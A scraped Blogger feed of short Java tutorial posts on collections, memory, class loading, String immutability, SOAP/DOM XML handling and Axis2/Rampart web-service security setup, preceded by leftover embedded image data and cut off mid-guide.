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" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>The Core Map Interfaces and Their Implementations</b></td></tr></tbody></table> </td></tr></tbody></table></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-33226368042675660792012-07-15T03:33:00.000+05:302012-07-15T03:33:20.509+05:30java Stack vs Heap<div dir="ltr" style="text-align: left;" trbidi="on"><b>Heap Stores :</b><br /><br />class(<span class="postbody">static fields</span>) and instance variables,<span class="postbody"> method code </span> and Object instances.<br /><br /><br /><b>Stack Stores :</b><br /><br />local method/local variables and method calls.<br /><br />According to java 6 some of the instances may be stored in <b>Stack</b> also<br /><br /><pre>public class Bicycle{ </pre><pre> </pre><pre> // Class Variable</pre><pre> private <b>static</b> int numberOfBicycles = 0;<br /> </pre><pre></pre><pre>// instance variable <br /> private int id;</pre><pre> </pre><pre>// Object instace </pre><pre> private Bicycle b=null;<br /></pre><pre> </pre><pre> public int Method1() { </pre><pre> // local variables</pre><pre> int i=1;</pre><pre> </pre><pre> return i;<br /> }</pre><pre>}</pre></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-80864227301950466842012-07-15T02:53:00.001+05:302012-07-15T02:55:01.728+05:30Use of Class.forName()<div dir="ltr" style="text-align: left;" trbidi="on">When we create an instance of a class using new operator, it does two things<br /><br />1. Load the class in to memory, if it is not loaded -<br />which means creating in-memory representation of the class from the .class file so that an instance can be created out of it. This includes initializing static variables (resolving of that class)<br />2. create an instance of that class and store the reference to the variable.<br /><br />Class.forName does only the first thing.<br />It loads the class in to memory and return that reference as an instance of Class. If we want to create an instance then, we can call newInstance method of that class. which will invoke the default constructor (no argument constructor).<br />Note that if the default constructor is not accessible, then newInstance method will throw an IllegalAccessException. and if the class is an abstract class or interface or it does not have a default constructor, then it will throw an InstantiationException. If any exception araises during resolving of that class, it will throw an ExceptionInInitializerError.<br /><br />If the default constructor is not defined, then we have to invoke the defiend constructor using reflection API.<br /><br />But the main advantage with Class.forName is, it can accept the class name as a String argument. So we can pass the class name dynamically. But if we create an instance of a class using new operator, the class name can't be changed dynamically.<br /><br />Class.forName() inturn will call loadClass method of the caller ClassLoader (ClassLoder of the class from where Class.forName is invoked).<br /><br />By default, the Class.forName() resolve that class. which means, initialize all static variables inside that class.<br />same can be changed using the overloaded method of Class.forName(String name,boolean initialize,ClassLoader loader)<br /><br />The main reason for loading jdbc driver using Class.forName() is, the driver can change dynamically.<br />in the static block all Drivers will create an instance of itself and register that class with DriverManager using DriverManager.registerDriver() method. Since the Class.forName(String className) by default resolve the class, it will initialize the static initializer.<br />So when we call Class.forName("com.sun.jdbc.odbc.JdbcOdbcDriver"), <br />the Driver class will be loaded, instanciated and registers with DriverManager<br /><br />So if you are using new Operator you have to do the following things.<br /><br /><br />Driver drv = new com.sun.jdbc.odbc.JdbcOdbcDriver();<br />DriverManager.registerDriver(drv);</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-87182439613379784472012-07-15T02:32:00.002+05:302012-07-15T02:40:59.277+05:30Why String is final in Java ? or why String is Immutable?<div dir="ltr" style="text-align: left;" trbidi="on"><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;"><br /></span></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;">The above two Questions are related as Immutable --> final</span></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><br /></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;">consider the below scenario <b>If String is not a Final Class</b> </span></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><br /></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;">i had a String Object String super="<b>Java</b>"; </span></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><br /></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;">i have two subclasses of String super( parent Class) Class A and Class B.if Class A changes its reference to A="J2EE" then the reference of Class B also points to J2EE.which is not a<i><b> thread safe</b></i>.</span></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;"><i><b><br /></b></i></span></div><div style="font-family: Times,"Times New Roman",serif; text-align: left;"><span style="font-size: small;"><i><b>Some of the reasons why it made as Immutable :</b></i></span></div><ul style="font-family: Times,"Times New Roman",serif; text-align: left;"><li><span style="font-size: small;"><span class="comment-copy">The designers wanted to guarantee that the invariants of String could not be changed by a sub-class. To guarantee that String itself would not change they implemented parent delegation in class loaders </span></span></li><li><span style="font-size: small;">Another reason of <b>Why String is immutable in Java</b> is to <b>allow String to cache its hashcode</b> , being immutable String in Java caches its hashcode and do not <span class="IL_AD" id="IL_AD2">calculate</span> every time we call hashcode method of String, which makes it very fast as hashmap key to be used in hashmap in Java. </span></li><li><span style="font-size: small;">The absolutely most important reason that String is immutable is that it is used by the class loading mechanism, and thus have profound and fundamental security aspects.As in JVM String is mostly used parameter for loading classes or opening the connections. </span></li><li><span style="font-size: small;">and one more reason is for thread safety.</span></li></ul><div style="background-color: white; border: medium none; color: black; font-family: Times,"Times New Roman",serif; overflow: hidden; text-align: left; text-decoration: none;"><span style="font-size: small;"><br /></span></div><div style="background-color: white; border: medium none; color: black; font-family: Times,"Times New Roman",serif; overflow: hidden; text-align: left; text-decoration: none;"><span style="font-size: small;">so the Question is how we can design a Immutable class</span></div><div style="background-color: white; border: medium none; color: black; font-family: Times,"Times New Roman",serif; overflow: hidden; text-align: left; text-decoration: none;"><ul style="text-align: left;"><li><span style="font-size: small;"> Declare all fields <b>Private Final.</b></span></li><li><span style="font-size: small;"> Set all fields in the <b>constructor</b>. </span></li><li><span style="font-size: small;"> Don't provide any methods that modify the state of the object; provide <b>only getter methods </b>(no setters). </span></li><li><span style="font-size: small;"> <b>Declare the class final</b>, so that no methods may be overridden. </span></li><li><span style="font-size: small;"> Ensure exclusive access to any mutable components, e.g. <b>by returning copies. </b></span></li></ul></div><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"></div><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">Example : </div><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"></div><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"><pre><span style="font-size: small;"><span class="keyword" style="font-family: inherit;">import</span><span style="font-family: inherit;"> java.util.Date;<br /><br /></span><span class="comment" style="font-family: inherit;">/**<br />* Planet is an immutable class, since there is no way to change<br />* its state after construction.<br />*/</span><span style="font-family: inherit;"><br /></span><span class="keyword" style="font-family: inherit;">public</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">final</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">class</span><span style="font-family: inherit;"> Planet {<br /><br /> </span><span class="keyword" style="font-family: inherit;">public</span><span style="font-family: inherit;"> Planet (</span><span class="keyword" style="font-family: inherit;">double</span><span style="font-family: inherit;"> aMass, String aName, Date aDateOfDiscovery) {<br /> fMass = aMass;<br /> fName = aName;<br /> </span><span class="comment" style="font-family: inherit;">//make a private copy of aDateOfDiscovery<br /></span><span style="font-family: inherit;"> </span><span class="comment" style="font-family: inherit;">//this is the only way to keep the fDateOfDiscovery<br /></span><span style="font-family: inherit;"> </span><span class="comment" style="font-family: inherit;">//field private, and shields this class from any changes that <br /></span><span style="font-family: inherit;"> </span><span class="comment" style="font-family: inherit;">//the caller may make to the original aDateOfDiscovery object<br /></span><span style="font-family: inherit;"> fDateOfDiscovery = </span><span class="keyword" style="font-family: inherit;">new</span><span style="font-family: inherit;"> Date(aDateOfDiscovery.getTime());<br /> }<br /><br /> </span><span class="comment" style="font-family: inherit;">/**<br /> * Returns a primitive value.<br /> *<br /> * The caller can do whatever they want with the return value, without <br /> * affecting the internals of this class. Why? Because this is a primitive <br /> * value. The caller sees its "own" double that simply has the<br /> * same value as fMass.<br /> */</span><span style="font-family: inherit;"><br /> </span><span class="keyword" style="font-family: inherit;">public</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">double</span><span style="font-family: inherit;"> getMass() {<br /> </span><span class="keyword" style="font-family: inherit;">return</span><span style="font-family: inherit;"> fMass;<br /> }<br /><br /> </span><span class="comment" style="font-family: inherit;">/**<br /> * Returns an immutable object.<br /> *<br /> * The caller gets a direct reference to the internal field. But this is not <br /> * dangerous, since String is immutable and cannot be changed.<br /> */</span><span style="font-family: inherit;"><br /> </span><span class="keyword" style="font-family: inherit;">public</span><span style="font-family: inherit;"> String getName() {<br /> </span><span class="keyword" style="font-family: inherit;">return</span><span style="font-family: inherit;"> fName;<br /> }<br /><br /></span><span class="comment" style="font-family: inherit;">// /**<br />// * Returns a mutable object - likely bad style.<br />// *<br />// * The caller gets a direct reference to the internal field. This is usually dangerous, <br />// * since the Date object state can be changed both by this class and its caller.<br />// * That is, this class is no longer in complete control of fDate.<br />// */<br />// public Date getDateOfDiscovery() {<br />// return fDateOfDiscovery;<br />// }<br /></span><span style="font-family: inherit;"><br /> </span><span class="comment" style="font-family: inherit;">/**<br /> * Returns a mutable object - good style.<br /> * <br /> * Returns a defensive copy of the field.<br /> * The caller of this method can do anything they want with the<br /> * returned Date object, without affecting the internals of this<br /> * class in any way. Why? Because they do not have a reference to <br /> * fDate. Rather, they are playing with a second Date that initially has the <br /> * same data as fDate.<br /> */</span><span style="font-family: inherit;"><br /> </span><span class="keyword" style="font-family: inherit;">public</span><span style="font-family: inherit;"> Date getDateOfDiscovery() {<br /> </span><span class="keyword" style="font-family: inherit;">return</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">new</span><span style="font-family: inherit;"> Date(fDateOfDiscovery.getTime());<br /> }<br /><br /> </span><span class="comment" style="font-family: inherit;">// PRIVATE //<br /></span><span style="font-family: inherit;"><br /> </span><span class="comment" style="font-family: inherit;">/**<br /> * Final primitive data is always immutable.<br /> */</span><span style="font-family: inherit;"><br /> </span><span class="keyword" style="font-family: inherit;">private</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">final</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">double</span><span style="font-family: inherit;"> fMass;<br /><br /> </span><span class="comment" style="font-family: inherit;">/**<br /> * An immutable object field. (String objects never change state.)<br /> */</span><span style="font-family: inherit;"><br /> </span><span class="keyword" style="font-family: inherit;">private</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">final</span><span style="font-family: inherit;"> String fName;<br /><br /> </span><span class="comment" style="font-family: inherit;">/**<br /> * A mutable object field. In this case, the state of this mutable field<br /> * is to be changed only by this class. (In other cases, it makes perfect<br /> * sense to allow the state of a field to be changed outside the native<br /> * class; this is the case when a field acts as a "pointer" to an object<br /> * created elsewhere.)<br /> */</span><span style="font-family: inherit;"><br /> </span><span class="keyword" style="font-family: inherit;">private</span><span style="font-family: inherit;"> </span><span class="keyword" style="font-family: inherit;">final</span><span style="font-family: inherit;"> Date fDateOfDiscovery;<br />}</span></span><br /> </pre></div><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"></div></div>References :<br /><br /><ul style="text-align: left;"><li>http://www.javapractices.com/topic/TopicAction.do?Id=29</li><li>http://renaud.waldura.com/doc/java/final-keyword.shtml</li><li>http://stackoverflow.com/questions/2068804/why-is-string-final-in-java</li></ul></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com1tag:blogger.com,1999:blog-2813553060072852425.post-19139414062879938072012-07-14T16:57:00.002+05:302012-07-14T16:57:37.117+05:30String pool in java<div dir="ltr" style="text-align: left;" trbidi="on">The easiest way of creating a String object is using a string literal:<br /><br /><b>String str1 = "You cannot change me!";</b><br /><b>String str2 = "You cannot change me!";</b><br /><br />here str1 and str2 holds the same String literal.<br /><br />so at the Compile time java compiler optimizes handling of string literals(and c<b>ompile-time constant<br />expressions</b> that evaluate to strings)<br /><br />so for the above two String <b>str1 </b>and <b>str2</b> holds the same character sequence so they will be sharing a single string reference .these type of String are said to be "<b>Interned</b>".<br /><br />The String class maintains a<b> private pool </b>where such strings are <b>interned</b>.<br /><br />and if you call any methods on <b>str2 </b>wont effect the <b>str1 </b>reference.<br /><br /><b>String str3 = "You cannot" + "change me!";</b><br /><br />this intern can be applied to <b>str3 </b>also<br /><br /><div style="color: red;"><b>String s = "change me!";</b></div><div style="color: red;"><br /></div><div style="color: red;"><b>String str5 = "You cannot" + s ;</b></div><br /> <b>intern </b>will not be applied to <b>str5 </b>so a new string will be created for <b>str5</b>.<br /><br />and finally <b>A string constructed with new operator will always creates a new reference in jvm</b>. </div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-47417569630439905822012-07-11T00:33:00.001+05:302012-07-11T00:33:36.795+05:30Adding SOAP header in Webservice Handler<div dir="ltr" style="text-align: left;" trbidi="on"><br />In this program in "handleRequest" method i added a Username/password in SOAP Header.<br /><br /><br />import javax.xml.namespace.QName;<br />import javax.xml.rpc.handler.Handler;<br />import javax.xml.rpc.handler.HandlerInfo;<br />import javax.xml.rpc.handler.MessageContext;<br />import javax.xml.rpc.handler.soap.SOAPMessageContext;<br />import javax.xml.soap.Name;<br />import javax.xml.soap.SOAPElement;<br />import javax.xml.soap.SOAPEnvelope;<br />import javax.xml.soap.SOAPException;<br />import javax.xml.soap.SOAPHeader;<br />import javax.xml.soap.SOAPHeaderElement;<br />import javax.xml.soap.SOAPMessage;<br />import javax.xml.soap.SOAPPart;<br /><br />public class WSDLServiceHandler implements Handler {<br /> private static final String HDR_PREFIX = "wsse";<br /> private static final String HDR_URI = "http://schemas.xmlsoap.org/ws/2002/07/secext";<br /><br /> @Override<br /> public void destroy() {<br /> }<br /><br /> @Override<br /> public QName[] getHeaders() {<br /> return null;<br /> }<br /><br /> @Override<br /> public boolean handleFault(MessageContext context) {<br /> return true;<br /> }<br /><br /> @Override<br /> public boolean handleRequest(MessageContext context) {<br /> try {<br /> SOAPMessageContext smc = (SOAPMessageContext) context;<br /> SOAPMessage msg = smc.getMessage();<br /> SOAPPart part = msg.getSOAPPart();<br /> SOAPEnvelope env = part.getEnvelope();<br /> SOAPHeader sh = msg.getSOAPHeader();<br /> if (sh == null) {<br /> sh = env.addHeader();<br /> }<br /> Name nameHdr = env.createName("Security", HDR_PREFIX, HDR_URI);<br /> SOAPHeaderElement security = sh.addHeaderElement(nameHdr);<br /> security.setMustUnderstand(false);<br /> security.addNamespaceDeclaration(HDR_PREFIX, HDR_URI);<br /> SOAPElement userNameToken = security.addChildElement("UsernameToken", HDR_PREFIX);<br /> userNameToken.addNamespaceDeclaration(HDR_PREFIX, HDR_URI);<br /> SOAPElement userName = userNameToken.addChildElement("Username",HDR_PREFIX);<br /> userName.addNamespaceDeclaration(HDR_PREFIX, HDR_URI);<br /> userName.addTextNode("USERNAME");<br /> SOAPElement password = userNameToken.addChildElement("Password",HDR_PREFIX);<br /> password.addNamespaceDeclaration(HDR_PREFIX, HDR_URI);<br /> password.addTextNode("UserPassword");<br /> String soapEnvelope = env.toString();<br /> } catch (SOAPException e) {<br /> e.printStackTrace();<br /> }<br /> return true;<br /> }<br /><br /> @Override<br /> public boolean handleResponse(MessageContext context) {<br /> return true;<br /> }<br /><br /> @Override<br /> public void init(HandlerInfo config) {<br /> }<br /><br />}</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-42662102492170268922012-07-10T00:39:00.000+05:302012-07-11T01:02:00.810+05:30create SOAP Element From XML String<div dir="ltr" style="text-align: left;" trbidi="on"> import java.io.IOException;<br />import java.io.StringReader;<br />import java.util.Iterator;<br />import javax.xml.parsers.*;<br />import javax.xml.soap.*;<br />import org.xml.sax.InputSource;<br />import org.xml.sax.SAXException;<br /><br />public class Test{<br /><br />public static SOAPElement createSOAPElementFromXMLString(String xmlString)<br /> throws ParserConfigurationException, IOException, SAXException<br /> {<br /> StringReader stringReader = new StringReader(xmlString);<br /> InputSource inputSource = new InputSource(stringReader);<br /> SAXParserFactory factory = SAXParserFactory.newInstance();<br /> factory.setNamespaceAware(true);<br /> SAXParser parser = factory.newSAXParser();<br /> SoapElementSaxHandler handler = new SoapElementSaxHandler();<br /> parser.parse(inputSource, handler);<br /> return handler.getSOAPElement();<br /> }<br /><br />}<br /><br /><br />SoapElementSaxHandler.java<br /> ~~~~~~~~~~~~~~~~~~~~~~<br />import java.util.ArrayList;<br />import java.util.HashMap;<br />import javax.xml.soap.*;<br />import org.xml.sax.Attributes;<br />import org.xml.sax.SAXException;<br />import org.xml.sax.helpers.DefaultHandler;<br /><br />public class SoapElementSaxHandler extends DefaultHandler<br />{<br /><br /> public SoapElementSaxHandler()<br /> {<br /> prefixURIMapping = new HashMap();<br /> uris = new ArrayList();<br /> rootElement = null;<br /> currentElement = null;<br /> }<br /><br /> public SOAPElement getSOAPElement()<br /> {<br /> return rootElement;<br /> }<br /><br /> public void startDocument()<br /> throws SAXException<br /> {<br /> try<br /> {<br /> soapFactory = SOAPFactory.newInstance();<br /> }<br /> catch(SOAPException e)<br /> {<br /> throw new SAXException("Can't create a SOAPFactory instance", e);<br /> }<br /> }<br /><br /> public void startPrefixMapping(String prefix, String uri)<br /> {<br /> prefixURIMapping.put(uri, prefix);<br /> uris.add(uri);<br /> }<br /><br /> public void characters(char ch[], int start, int length)<br /> throws SAXException<br /> {<br /> String str = String.valueOf(ch);<br /> if(length > 0)<br /> try<br /> {<br /> currentElement.addTextNode(str.substring(start, start + length));<br /> }<br /> catch(SOAPException e)<br /> {<br /> throw new SAXException("Can't add a text node into SOAPElement from text", e);<br /> }<br /> }<br /><br /> public void endElement(String uri, String localName, String qName)<br /> {<br /> if(currentElement != rootElement)<br /> currentElement = currentElement.getParentElement();<br /> }<br /><br /> public void startElement(String namespaceURI, String localName, String qName, Attributes atts)<br /> throws SAXException<br /> {<br /> String prefix = (String)prefixURIMapping.get(namespaceURI);<br /> try<br /> {<br /> if(rootElement == null && currentElement == null)<br /> {<br /> rootElement = soapFactory.createElement(localName, prefix, namespaceURI);<br /> currentElement = rootElement;<br /> } else<br /> {<br /> currentElement = currentElement.addChildElement(localName, prefix, namespaceURI);<br /> }<br /> if(uris.size() > 0)<br /> {<br /> for(int i = 0; i < uris.size(); i++)<br /> {<br /> String uri = (String)uris.get(i);<br /> String pre = (String)prefixURIMapping.get(uri);<br /> currentElement.addNamespaceDeclaration(pre, uri);<br /> }<br /><br /> uris.clear();<br /> }<br /> for(int i = 0; i < atts.getLength(); i++)<br /> {<br /> javax.xml.soap.Name attriName;<br /> if(atts.getURI(i) != null)<br /> {<br /> String attriPre = (String)prefixURIMapping.get(atts.getURI(i));<br /> attriName = soapFactory.createName(atts.getLocalName(i), attriPre, atts.getURI(i));<br /> } else<br /> {<br /> attriName = soapFactory.createName(atts.getLocalName(i));<br /> }<br /> currentElement.addAttribute(attriName, atts.getValue(i));<br /> }<br /><br /> }<br /> catch(SOAPException e)<br /> {<br /> throw new SAXException(e);<br /> }<br /> }<br /><br /> private HashMap prefixURIMapping;<br /> private ArrayList uris;<br /> private SOAPElement rootElement;<br /> private SOAPElement currentElement;<br /> private SOAPFactory soapFactory;<br />}<br /><br /><br /></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com5tag:blogger.com,1999:blog-2813553060072852425.post-17845754159912827422012-07-10T00:35:00.001+05:302012-07-10T00:35:28.764+05:30Create DomElement From XML String<div dir="ltr" style="text-align: left;" trbidi="on"><br />import java.io.StringReader;<br />import javax.xml.parsers.DocumentBuilder;<br />import javax.xml.parsers.DocumentBuilderFactory;<br />import org.w3c.dom.*;<br />import org.xml.sax.InputSource;<br /><br />public class DomParser{<br /><br /> public static Element createDomElementFromXMLString(String xmlString)<br /> {<br /> InputSource inputSource;<br /> StringReader stringReader = new StringReader(xmlString);<br /> inputSource = new InputSource(stringReader);<br /> Document document;<br /> DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();<br /> DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();<br /> document = docBuilder.parse(inputSource);<br /> return document.getDocumentElement();<br /> JVM INSTR pop ;<br /> return null;<br /> }<br />}</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-67001554260782192272012-07-08T02:50:00.003+05:302012-07-08T02:51:02.547+05:30Web Service Security using Apache Rampart<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="post-header"> </div><div style="text-align: center;"><span style="color: #6600cc; font-family: times new roman; font-size: 130%; font-weight: bold;"><span style="font-size: 180%;">Web Service Security Encryption with Rampart 1.4 and Axis2 1.4.1</span></span><div style="text-align: left;"><span style="color: #cc33cc; font-size: 130%;"><br /><span style="color: #993399; font-weight: bold;">Writing Client Based on the .JKS and .CER files</span></span><br /><ul><li>Download axis2-1.4.1-bin.zip (Standard Binary Distribution) from axis site, the URL is http://ws.apache.org/axis2/download/1_4/download.cgi</li><li>Download rampart-dist-1.4-bin.zip (Standard Binary Distribution) from Apache Rampart, the URL is http://ws.apache.org/rampart/download/1.4/download.cgi</li><li>Copy these 2 zip files in C:\ and extract it.</li></ul><span style="color: #993399; font-size: 130%;"><span style="font-weight: bold;">Creating Project in Eclipse AND CREATING CLIENT AND STUB</span></span><br /><ul><li>Create a new Project in C:\ using Eclipse with the name TestWSS. File --> New --> Java Project</li><li>Set your class path to JAVA_HOME</li><li>Open Command Prompt and Go to C:\axis2-1.4.1-bin\axis2-1.4.1\bin</li><li>Execute axis2.bat</li><li>Copy your wsdl file into C:\axis2-1.4.1-bin\axis2-1.4.1\bin (Assume the wsdl file name is meal.wsdl).</li><li>Execute the below command from command prompt</li><li>C:\axis2-1.4.1-bin\axis2-1.4.1\bin>wsdl2java -uri C:\axis2-1.4.1-bin\axis2-1.4.1\bin\meal.wsdl</li><li>After executing the above command you will get the stub and Handler class in the C:\axis2-1.4.1-bin\axis2-1.4.1\bin with package.</li></ul><span style="color: #993399; font-size: 130%;"><span style="font-weight: bold;">Placing Client Files in Project SRC and applying signature through Rampart 1.4</span></span><br /><ul><li><span style="color: black;">Copy generated file into C:\TestWSS\src folder.</span></li><li><span style="color: black;">Create a folder parallel to src with the name client-repo and copy module directory from C:\rampart-dist-1.4-bin\rampart-1.4\ to C:\TestWSS\client-repo.</span></li><li><span style="color: black;">This module folder should contain rampart-1.4.mar and addressing-1.41.mar</span></li><li><span style="color: black;">Add all .jar files present in the C:\rampart-dist-1.4-bin\rampart-1.4\lib directory needs to add to the Eclipse Project build path.</span></li><li><span style="color: black;">Add all .jar files present in the 